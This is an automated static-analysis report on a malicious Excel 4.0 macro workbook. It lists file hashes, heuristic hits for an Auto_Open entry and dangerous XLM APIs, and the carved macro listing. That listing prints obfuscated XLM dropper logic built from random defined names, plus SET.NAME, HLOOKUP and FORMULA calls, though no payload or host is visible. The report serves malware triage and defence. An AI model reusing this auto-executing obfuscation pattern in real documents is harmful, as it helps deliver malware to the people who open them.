Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72b87068f4dc4766…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:08 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: ee3dedf620994d2f6b7cd29e7888bb3b SHA-1: 3310608756da7322fc0e14fb853a55e11543efb8 SHA-256: 72b87068f4dc4766735d9027e38b6dd5cdb6fedb6385346f8e769cd5709fe7aa
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6422 bytes
SHA-256: bc3c4bd2285576ae5464fead2ad79ac2caac806557ace75fab746aedfefbb21a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pmxI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     27 LABEL : Cell Value, String Constant - beYusHafgJdW len=0 
' 0018     25 LABEL : Cell Value, String Constant - BfjRIQaErq len=0 
' 0018     21 LABEL : Cell Value, String Constant - bIMoJk len=0 
' 0018     25 LABEL : Cell Value, String Constant - bNiUDeBskR len=0 
' 0018     26 LABEL : Cell Value, String Constant - CQEJLjbtMaX len=0 
' 0018     27 LABEL : Cell Value, String Constant - csyCCLLTcpPd len=0 
' 0018     23 LABEL : Cell Value, String Constant - dNIgqgvB len=0 
' 0018     26 LABEL : Cell Value, String Constant - eCfXbfbIULt len=0 
' 0018     27 LABEL : Cell Value, String Constant - fQhyFlGXLHmk len=0 
' 0018     24 LABEL : Cell Value, String Constant - gLtZCymeE len=0 
' 0018     23 LABEL : Cell Value, String Constant - JXpTqHoa len=0 
' 0018     25 LABEL : Cell Value, String Constant - PvcispSSWP len=0 
' 0018     22 LABEL : Cell Value, String Constant - PwILjrQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - tmOUQI len=0 
' 0018     22 LABEL : Cell Value, String Constant - uILiSwk len=0 
' 0018     25 LABEL : Cell Value, String Constant - UKclXTgCsb len=0 
' 0018     25 LABEL : Cell Value, String Constant - XjqSKjyvCu len=0 
' 0018     24 LABEL : Cell Value, String Constant - xRPNBaeeX len=0 
' 0018     20 LABEL : Cell Value, String Constant - YPdFK len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZGgQmg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pmxI,E65,"SET.NAME("JXpTqHoa",VALUE("0"))",""
'  pmxI,E68,"SET.NAME("ZGgQmg",JXpTqHoa)",""
'  pmxI,E70,"SET.NAME("eCfXbfbIULt",JXpTqHoa)",""
'  pmxI,E75,"SET.NAME("xRPNBaeeX",COUNTA(fQhyFlGXLHmk))",""
'  pmxI,E79,"SET.NAME("UKclXTgCsb",COUNTA(dNIgqgvB))",""
'  pmxI,E82,[],""
'  pmxI,E84,"SET.NAME("PwILjrQ","")",""
'  pmxI,E89,"ZGgQmg",""
'  pmxI,E93,"SET.NAME("beYusHafgJdW",HLOOKUP("*",fQhyFlGXLHmk,ZGgQmg,FALSE))",""
'  pmxI,E95,"XjqSKjyvCu",""
'  pmxI,E97,"SET.NAME("uILiSwk",JXpTqHoa)",""
'  pmxI,E101,[],""
'  pmxI,E104,"uILiSwk",""
'  pmxI,E109,"tmOUQI",""
'  pmxI,E113,"csyCCLLTcpPd",""
'  pmxI,E115,"gLtZCymeE",""
'  pmxI,E120,"SET.NAME("bNiUDeBskR",VALUE(HLOOKUP("*",dNIgqgvB,gLtZCymeE,FALSE)))",""
'  pmxI,E124,"BfjRIQaErq",""
'  pmxI,E126,"PwILjrQ",""
'  pmxI,E128,"eCfXbfbIULt",""
'  pmxI,E132,NEXT(),""
'  pmxI,E135,"PvcispSSWP",""
'  pmxI,E139,"SET.NAME("f",INT(T(FORMULA(T(PwILjrQ)&"",""&T(PvcispSSWP)))))",""
'  pmxI,E143,"CQEJLjbtMaX",""
'  pmxI,E148,NEXT(),""
'  pmxI,E153,RETURN(),""
'  pmxI,E176,"SET.NAME("bIMoJk",E65)",""
'  pmxI,E179,"fQhyFlGXLHmk",""
'  pmxI,E184,"SET.NAME("dNIgqgvB",R85C14)",""
'  pmxI,E186,"SET.NAME("CQEJLjbtMaX",196)",""
'  pmxI,E191,"SET.NAME("YPdFK",5)",""
'  pmxI,E195,bIMoJk(),""
'  pmxI,E196,HALT(),""

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